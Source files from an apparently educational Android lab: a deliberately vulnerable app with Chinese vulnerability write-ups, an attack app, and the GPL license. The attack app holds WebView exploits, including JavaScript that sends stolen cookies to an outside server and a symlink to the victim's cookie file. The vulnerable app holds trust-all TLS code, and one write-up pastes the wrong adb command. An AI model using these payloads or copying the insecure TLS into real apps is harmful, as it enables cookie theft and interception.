()
18 | fun initVulnerabilities() {
19 | vulnerabilities.apply {
20 | /* Manifest安全 */
21 | add( Vulnerability( appContext.getString(R.string.defining_components_not_implemented), "低危",
22 | "Manifest中定义组件未实现
\n" + "漏洞简介
\n" + "在Androidmanifest.xml文件中定义了组件且没有代码实现，则攻击者可以通过发送Intent，通过ddos攻击导致app崩溃。
\n" + "漏洞详情
\n" + "\n" + "- 当Androidmanifest.xml文件中定义了组件A且没有代码实现时，如果组件A在manifest文件里设置为导出（exported=true），则任意第三方应用均可通过发送Intent给A的形式导致APP崩溃。
\n" + "- 当Androidmanifest.xml文件中定义了组件A且没有代码实现时，如果组件A在manifest文件里设置为非导出（exported=false），则第三方应用可以分析所有的导出组件，若通过发送Intent已导出的组件B，使其可以发送Intent给组件A，依然可以导致APP崩溃。
\n" + "\n" + "
\n" + "漏洞危害
\n" + "造成APP反复崩溃
\n" + "修复建议
\n" + "删除AndroidManifest.xml文件中所有未实现代码的声明。
\n" + "漏洞复现
\n" + "复现环境：Pixel; AOSP_Android10.0.0_r2
\n" + "
\n" + "执行adb命令：
\n" + "adb shell am start -n com.forgo7ten.vulnerableapp/.vulnerabilities.NonexistentActivity\n" + "
\n" + "
\n",
23 | VulnerabilityShowActivity::class.java ) )
24 | add( Vulnerability( appContext.getString(R.string.allow_backup_config), "低危",
25 | "应用数据备份配置不当漏洞
\n" + "漏洞简介
\n" + "AndroidManifest.xml文件中android:allowBackup属性错误的设置为true，导致客户端应用数据可以被备份导出。
\n" + "漏洞复现
\n" + "复现环境：Pixel; AOSP_Android10.0.0_r2
\n" + "
\n" + "通过adb命令，将应用备份出来，命令如下。
\n" + "adb shell am start -n com.forgo7ten.vulnerableapp/.vulnerabilities.NonexistentActivity\n" + "
\n" + "[-system | -nosystem] 是否备份系统
\n" + "[-apk | -noapk] 是否备份apk安装文件
\n" + "[-shared | -noshared]是否备份手机存储空间
\n" + "-f *.ab 存档格式一定要是.ab
\n" + "期间应用会弹出如下窗口，选择右下角的“BACK UP MY DATA”按钮即可备份，密码可输入可不输入。
\n" + "
\n",
26 | VulnerabilityShowActivity::class.java ) )
27 | add( Vulnerability( appContext.getString(R.string.allow_debug_config), "低危",
28 | "应用调试模式配置不当漏洞
\n" + "漏洞简介
\n" + "'AndroidManifest.xml'文件中'android:debuggable'属性错误的设置为'true',导致客户端应用可以被任意调试。
\n" + "
\n",
29 | VulnerabilityShowActivity::class.java ) )
30 | /* 通用组件安全 */
31 | add( Vulnerability( appContext.getString(R.string.denial_service_title), "低危",
32 | "App通用型拒绝服务漏洞
\n" + "漏洞简介
\n" + "当Activity等组件接收Intent、并且使用了get...Extra()等方法时候，如果没有对传入的数据进行判断和处理，攻击者可以通过传入序列化对象导致App崩溃。
\n" + "漏洞详情
\n" + "当get...Extra()接收到一个自定义的序列化对象Serializable或者Parcelable对象时，在其中的getSerializableExtra()、getParcelable()方法中，由于无法解析传入的序列化类（找不到该类）导致报错
\n" + "漏洞危害
\n" + "当应用组件对外暴露时，第三方应用向手机传入构造好的Intent可以导致应用崩溃，极度影响用户体验。
\n" + "修复建议
\n" + "\n" + "- 非必要到处组件设置exported属性为false
\n" + "- 导出组件在getIntent()后，get…Extra()方法时注意异常捕获
\n" + "- 对导出的组件设置好权限控制，不让任意第三方应用访问。
\n" + "\n" + "
\n" + "
\n" + "漏洞复现
\n" + "复现环境：Pixel; AOSP_Android10.0.0_r2
\n" + "
\n" + "参考AttackApp应用
\n" + "
\n",
33 | DenialServiceActivity::class.java ) )
34 | /* provider组件安全 */
35 | add( Vulnerability(appContext.getString(R.string.improper_uri_authorization),"低危",
36 | "ContentProviderURI授权不当
\n" + "漏洞简介
\n" + "在AndroidManifest.xml中，当<provider>标签的android:grantUriPermissions属性被设置为true时，能临时超过permission、readPermission、writePermission属性的限制，使得平常无权对ContentProvider数据的访问进行授权。当ContentProvider存储敏感信息时，可能会造成敏感信息泄露。
\n" + "漏洞详情
\n" + "条件：
\n" + "\n" + "- 含ContentProvider的应用A设置了
<provider>标签的grantUriPermissions="true”属性 \n" + "- 该应用A启动了应用B，并使用了B的intent，使得B可以添加授权的Flags
\n" + "\n" + "
\n" + "当含ContentProvider的应用A，启动另一个应用B时，如果应用A设置了grantUriPermissions="true”，即使该provider的exported="false”，即使该provider的permission、readPermission、writePermission属性设置了所需的自定义权限。应用B不需要设置权限即可访问该Provider。
\n" + "正常情况下：即使从应用A启动了应用B，应用B也应含有permission等属性所需要的权限才可以访问该provider。
\n" + "Android 开发者 | Provider介绍
\n" + "漏洞危害
\n" + "导致应用B可以访问应用A的provider，导致数据泄露。
\n" + "修复建议
\n" + "如果无需对外提供数据，将<provider>的android:grantUriPermissions属性设置为false。
\n" + "漏洞复现
\n" + "复现环境：Pixel; AOSP_Android10.0.0_r2
\n" + "
\n" + "参考AttackApp应用
\n",
37 | VulnerabilityShowActivity::class.java) )
38 | add( Vulnerability(appContext.getString(R.string.provider_directory_traversal),"低危",
39 | "Content Provider文件目录遍历漏洞
\n" + "漏洞简介
\n" + "对外暴露的Content Provider实现了openFile()接口，因此其他有相应调用该ContentProvider权限的应用即可调用ContentProvider的openFile接口进行文件数据访问。
\n" + "但是如果没有进行ContentProvider访问权限控制和对访问的目标文件Uri进行有效判断，攻击者利用文件目录遍历访问任意可读文件。
\n" + "漏洞详情
\n" + "Android ContentProvider存在文件目录遍历安全漏洞，该漏洞源于对外暴露ContentProvider组件的应用，没有对ContentProvider组件的访问进行权限控制和对访问的目标文件的ContentQueryUri进行有效判断。
\n" + "攻击者利用该应用暴露的ContentProvider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的。
\n" + "public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode)\n" + "
\n" + "对外暴露的ContentProvider组件实现了openFile()接口，没有对所访问的目标文件Uri进行有效判断，如没有过滤限制如../可实现任意刻度文件的访问的ContentQueryUri
\n" + "漏洞危害
\n" + "修复建议
\n" + "\n" + "非必要导出设置为不导出
\n" + "如果没有读写文件的必要，去除openFile()方法接口
\n" + "过滤限制跨域访问，对访问的目标文件路径进行有效判断
\n" + "\n" + "- 使用Uri.decode()先对ContentQueryUri进行解码后，再对
uri进行校验，过滤其中类似于../的字符串 \n" + "\n" + "
\n" + "设置权限来进行内部应用通过Content Provider的数据共享
\n" + "
\n" + "漏洞复现
\n" + "复现环境：Pixel; AOSP_Android10.0.0_r2
\n" + "
\n" + "参考AttackApp应用
\n",
40 | VulnerabilityShowActivity::class.java) )
41 | /* WebView组件安全 */
42 | add( Vulnerability(appContext.getString(R.string.webview_vulnerability),"高危", "TODO", WebviewActivity::class.java) )
43 | /* Http/Https安全 */
44 | add( Vulnerability(appContext.getString(R.string.mitm),"高危", "TODO", MitmActivity::class.java) )
45 | }
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/attackapp/src/main/java/com/forgo7ten/attackapp/attack/webview/WebviewAttackActivity.kt:
--------------------------------------------------------------------------------
1 | package com.forgo7ten.attackapp.attack.webview
2 |
3 | import android.content.Intent
4 | import android.os.Bundle
5 | import android.util.Base64
6 | import android.util.Log
7 | import androidx.appcompat.app.AppCompatActivity
8 | import androidx.core.net.toUri
9 | import com.forgo7ten.attackapp.ConstValue
10 | import com.forgo7ten.attackapp.databinding.ActivityWebviewAttackBinding
11 | import java.io.File
12 |
13 | class WebviewAttackActivity : AppCompatActivity() {
14 | companion object {
15 | private const val TAG = "WebviewAttackActivity"
16 | }
17 |
18 | private lateinit var binding: ActivityWebviewAttackBinding
19 |
20 | private lateinit var htmlFile: File
21 | override fun onCreate(savedInstanceState: Bundle?) {
22 | super.onCreate(savedInstanceState)
23 | binding = ActivityWebviewAttackBinding.inflate(layoutInflater).apply {
24 | setContentView(root)
25 | }
26 | htmlFile = File(dataDir, "evil.html")
27 | Log.d(TAG, "onCreate: htmlFile=${htmlFile.absolutePath}")
28 | binding.btnAppcloneAttack.setOnClickListener {
29 | appcloneAttack()
30 | }
31 | binding.btnContaminatedCookieAttack.setOnClickListener {
32 | contaminatedCookieAttack()
33 | }
34 | binding.btnJs2nativeAttack.setOnClickListener {
35 | js2nativeAttack()
36 | }
37 | }
38 |
39 | private fun js2nativeAttack() {
40 | createJs2nativeHtml()
41 | sendEvilIntent("js2native")
42 | }
43 |
44 | private fun createJs2nativeHtml() {
45 | val js2nativeHtml = """
46 |
47 |
48 |
49 |
50 | js2native
51 |
52 |
53 | js2native
54 |
55 |
62 |
63 |
64 | """.trimIndent()
65 | if (htmlFile.exists()) {
66 | htmlFile.delete()
67 | }
68 | htmlFile.createNewFile()
69 | htmlFile.writeText(js2nativeHtml)
70 |
71 | exec("chmod -R 777 ${htmlFile.parent}")
72 | }
73 |
74 | private fun contaminatedCookieAttack() {
75 | // 创建恶意的html文件
76 | createContaminatedCookieHtml()
77 | // 启动vulnerableapp，让其加载网页中的js
78 | sendEvilIntent("contaminatedCookie")
79 | Thread.sleep(3000)
80 | createSymlink()
81 | }
82 |
83 | private fun createSymlink() {
84 | val cookiesPath = packageManager.getApplicationInfo(
85 | "com.forgo7ten.vulnerableapp",
86 | 0
87 | ).dataDir + "/app_webview/Cookies"
88 | Log.d(TAG, "symlink: cookiesPath=$cookiesPath")
89 | // 创建符号链接
90 | symlink(File(cookiesPath), File(dataDir, "symlink.html"))
91 | }
92 |
93 | private fun createContaminatedCookieHtml() {
94 | // 这里用到了服务器，来获取cookie信息，无所谓的，也可以用log打印看效果
95 | val evilJs = """
96 | var baseUrl = "http://${ConstValue.serverBase}/contaminatedCookieAttack/info?"
97 | var cookieData = encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML)
98 | new Image().src = baseUrl + "cookie=" + cookieData;
99 | console.log("cookieData=" + cookieData)
100 | """.trimIndent()
101 | val base64Eviljs = Base64.encodeToString(evilJs.toByteArray(), Base64.NO_WRAP)
102 | val evilHtml = """
103 |
104 |
105 |
106 |
107 | evil
108 |
109 |
110 | injected cookie with xss
111 |
118 |
119 |
120 | """.trimIndent()
121 | if (htmlFile.exists()) {
122 | htmlFile.delete()
123 | }
124 | htmlFile.createNewFile()
125 | htmlFile.writeText(evilHtml)
126 |
127 | exec("chmod -R 777 ${htmlFile.parent}")
128 | }
129 |
130 | private fun appcloneAttack() {
131 | // 创建恶意的html文件
132 | createAppcloneHtml()
133 | // 启动vulnerableapp，让其加载网页中的js
134 | sendEvilIntent("appclone")
135 | }
136 |
137 | private fun createAppcloneHtml() {
138 | val appclone_html = """
139 |
140 |
141 |
142 |
143 | Steal Cookie
144 |
145 |
146 | Steal Cookie
147 |
148 |
172 |
173 | """.trimIndent()
174 | if (htmlFile.exists()) {
175 | htmlFile.delete()
176 | }
177 | htmlFile.createNewFile()
178 | htmlFile.writeText(appclone_html)
179 |
180 | exec("chmod -R 777 ${htmlFile.parent}")
181 | }
182 |
183 | private fun sendEvilIntent(path: String) {
184 | val uriStr =
185 | "fvulnerable://forgo7ten.github.io/webview_vulnerability/$path?url=file://${htmlFile.absolutePath}"
186 | Log.d(TAG, "sendEvilIntent: uriStr=$uriStr")
187 | Intent().apply {
188 | action = Intent.ACTION_VIEW
189 | addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK)
190 | data = uriStr.toUri()
191 | startActivity(this)
192 | }
193 | }
194 |
195 |
196 | /**
197 | * 创建软链接
198 | * @param targetFile 目标文件
199 | * @param linkFile 软链接
200 | */
201 | fun symlink(targetFile: File, linkFile: File) {
202 | exec("rm $linkFile")
203 | exec("ln -s $targetFile $linkFile")
204 | exec("chmod 777 $linkFile")
205 | }
206 |
207 | fun exec(cmd: String) {
208 | val result = Runtime.getRuntime().exec(cmd).waitFor()
209 | Log.d(TAG, "exec: cmd=$cmd result:$result")
210 | }
211 | }
--------------------------------------------------------------------------------
/vulnerableapp/src/main/java/com/forgo7ten/vulnerableapp/vulnerabilities/mitm/MitmActivity.kt:
--------------------------------------------------------------------------------
1 | package com.forgo7ten.vulnerableapp.vulnerabilities.mitm
2 |
3 | import android.os.Bundle
4 | import android.util.Log
5 | import androidx.appcompat.app.AppCompatActivity
6 | import com.forgo7ten.vulnerableapp.databinding.ActivityMitmBinding
7 | import org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER
8 | import java.io.BufferedReader
9 | import java.io.InputStreamReader
10 | import java.net.URL
11 | import java.security.SecureRandom
12 | import java.security.cert.CertificateException
13 | import java.security.cert.X509Certificate
14 | import javax.net.ssl.*
15 |
16 | /**
17 | * @ClassName MitmActivity
18 | * @Description // 中间人攻击漏洞复现Activity
19 | * @Author Forgo7ten
20 | **/
21 | class MitmActivity : AppCompatActivity() {
22 | companion object {
23 | const val TAG = "MitmActivity"
24 | }
25 |
26 | private lateinit var binding: ActivityMitmBinding
27 | override fun onCreate(savedInstanceState: Bundle?) {
28 | super.onCreate(savedInstanceState)
29 | binding = ActivityMitmBinding.inflate(layoutInflater).apply { setContentView(root) }
30 | initViews()
31 | }
32 |
33 |
34 | private fun initViews() {
35 | binding.btnMitm1.setOnClickListener {
36 | Thread {
37 | try {
38 | mitm1()
39 | } catch (e: Exception) {
40 | e.printStackTrace()
41 | }
42 | }.start()
43 | }
44 | binding.btnMitm2.setOnClickListener {
45 | Thread {
46 | try {
47 | mitm2()
48 | } catch (e: Exception) {
49 | e.printStackTrace()
50 | }
51 | }.start()
52 | }
53 | binding.btnMitm2fix.setOnClickListener {
54 | Thread {
55 | try {
56 | mitm2fix()
57 | } catch (e: Exception) {
58 | e.printStackTrace()
59 | }
60 | }.start()
61 | }
62 | binding.btnMitm3.setOnClickListener {
63 | Thread {
64 | try {
65 | mitm3()
66 | } catch (e: Exception) {
67 | e.printStackTrace()
68 | }
69 | }.start()
70 | }
71 | }
72 |
73 | /**
74 | * 信任所有主机名
75 | */
76 | fun mitm1() {
77 | // 创建URL对象
78 | val url = URL("https://www.baidu.com")
79 | // 创建HttpURLConnection对象
80 | val connection: HttpsURLConnection = url.openConnection() as HttpsURLConnection
81 | // 设置信任所有主机名
82 | connection.hostnameVerifier = ALLOW_ALL_HOSTNAME_VERIFIER
83 |
84 | // 发起连接
85 | connection.connect()
86 |
87 | // 获取响应码
88 | val responseCode: Int = connection.getResponseCode()
89 | Log.d(TAG, "Response Code: $responseCode")
90 |
91 | // 读取响应内容
92 | val reader = BufferedReader(InputStreamReader(connection.getInputStream()))
93 | var line: String?
94 | val response = StringBuilder()
95 | while (reader.readLine().also { line = it } != null) {
96 | response.append(line)
97 | }
98 | reader.close()
99 |
100 | // 打印响应内容
101 | Log.d(TAG, "Response: $response")
102 |
103 | // 断开连接
104 | connection.disconnect()
105 | }
106 |
107 | /**
108 | * 设置主机名验证器但不做任何验证
109 | */
110 | private fun mitm2() {
111 | // 创建URL对象
112 | val url = URL("https://www.baidu.com")
113 | // 创建HttpURLConnection对象
114 | val connection: HttpsURLConnection = url.openConnection() as HttpsURLConnection
115 | // 设置主机名验证器，但是这里不做任何验证
116 | connection.hostnameVerifier = HostnameVerifier { hostname, session -> true }
117 |
118 | // 发起连接
119 | connection.connect()
120 |
121 | // 获取响应码
122 | val responseCode: Int = connection.getResponseCode()
123 | Log.d(TAG, "Response Code: $responseCode")
124 |
125 | // 读取响应内容
126 | val reader = BufferedReader(InputStreamReader(connection.getInputStream()))
127 | var line: String?
128 | val response = StringBuilder()
129 | while (reader.readLine().also { line = it } != null) {
130 | response.append(line)
131 | }
132 | reader.close()
133 | // 打印响应内容
134 | Log.d(TAG, "Response: $response")
135 | // 断开连接
136 | connection.disconnect()
137 |
138 | }
139 |
140 | /**
141 | * 校验域名
142 | */
143 | private fun mitm2fix() {
144 | // 创建URL对象
145 | val url = URL("https://www.baidu.com")
146 | // 创建HttpURLConnection对象
147 | val connection: HttpsURLConnection = url.openConnection() as HttpsURLConnection
148 |
149 | // 设置主机名验证器，验证域名是否为github.com
150 | connection.hostnameVerifier = HostnameVerifier { hostname, session ->
151 | HttpsURLConnection.getDefaultHostnameVerifier().let { it.verify("github.com", session) }
152 | }
153 |
154 | // 发起连接
155 | connection.connect()
156 |
157 | // 获取响应码
158 | val responseCode: Int = connection.getResponseCode()
159 | Log.d(TAG, "Response Code: $responseCode")
160 |
161 | // 读取响应内容
162 | val reader = BufferedReader(InputStreamReader(connection.getInputStream()))
163 | var line: String?
164 | val response = StringBuilder()
165 | while (reader.readLine().also { line = it } != null) {
166 | response.append(line)
167 | }
168 | reader.close()
169 | // 打印响应内容
170 | Log.d(TAG, "Response: $response")
171 | // 断开连接
172 | connection.disconnect()
173 | }
174 |
175 | /**
176 | * 不校验证书
177 | */
178 | private fun mitm3() {
179 | // 创建URL对象
180 | val url = URL("https://www.baidu.com")
181 | // 创建HttpURLConnection对象
182 | val connection: HttpsURLConnection = url.openConnection() as HttpsURLConnection
183 |
184 | // 设置SSLContext，不校验证书
185 | connection.sslSocketFactory = getSSLSocketFactory()
186 |
187 | // 发起连接
188 | connection.connect()
189 |
190 | // 获取响应码
191 | val responseCode: Int = connection.getResponseCode()
192 | Log.d(TAG, "Response Code: $responseCode")
193 |
194 | // 读取响应内容
195 | val reader = BufferedReader(InputStreamReader(connection.getInputStream()))
196 | var line: String?
197 | val response = StringBuilder()
198 | while (reader.readLine().also { line = it } != null) {
199 | response.append(line)
200 | }
201 | reader.close()
202 |
203 | // 打印响应内容
204 | Log.d(TAG, "Response: $response")
205 |
206 | // 断开连接
207 | connection.disconnect()
208 |
209 | }
210 |
211 | @Throws(java.lang.Exception::class)
212 | fun getSSLSocketFactory(): SSLSocketFactory? {
213 | val trustAllCerts: Array = arrayOf(object : X509TrustManager {
214 | @Throws(CertificateException::class)
215 | override fun checkClientTrusted(
216 | chain: Array?,
217 | authType: String?
218 | ) {
219 | // do nothing, 接收任意客户端证书
220 | }
221 |
222 | @Throws(CertificateException::class)
223 | override fun checkServerTrusted(
224 | chain: Array?,
225 | authType: String?
226 | ) {
227 | // do nothing, 接收任意服务端证书
228 | }
229 |
230 | override fun getAcceptedIssuers(): Array =
231 | arrayOfNulls(0)
232 |
233 | })
234 | val sslContext: SSLContext = SSLContext.getInstance("TLS")
235 | sslContext.init(
236 | null, trustAllCerts,
237 | SecureRandom()
238 | )
239 | return sslContext
240 | .getSocketFactory()
241 | }
242 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
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343 | 7. Additional Terms.
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435 | 9. Acceptance Not Required for Having Copies.
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471 | 11. Patents.
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473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
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477 | A contributor's "essential patent claims" are all patent claims
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535 |
536 | Nothing in this License shall be construed as excluding or limiting
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539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
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548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
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551 |
552 | 13. Use with the GNU Affero General Public License.
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554 | Notwithstanding any other provision of this License, you have
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560 | section 13, concerning interaction through a network will apply to the
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562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
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567 | be similar in spirit to the present version, but may differ in detail to
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569 |
570 | Each version is given a distinguishing version number. If the
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573 | option of following the terms and conditions either of that numbered
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578 |
579 | If the Program specifies that a proxy can decide which future
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587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
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599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
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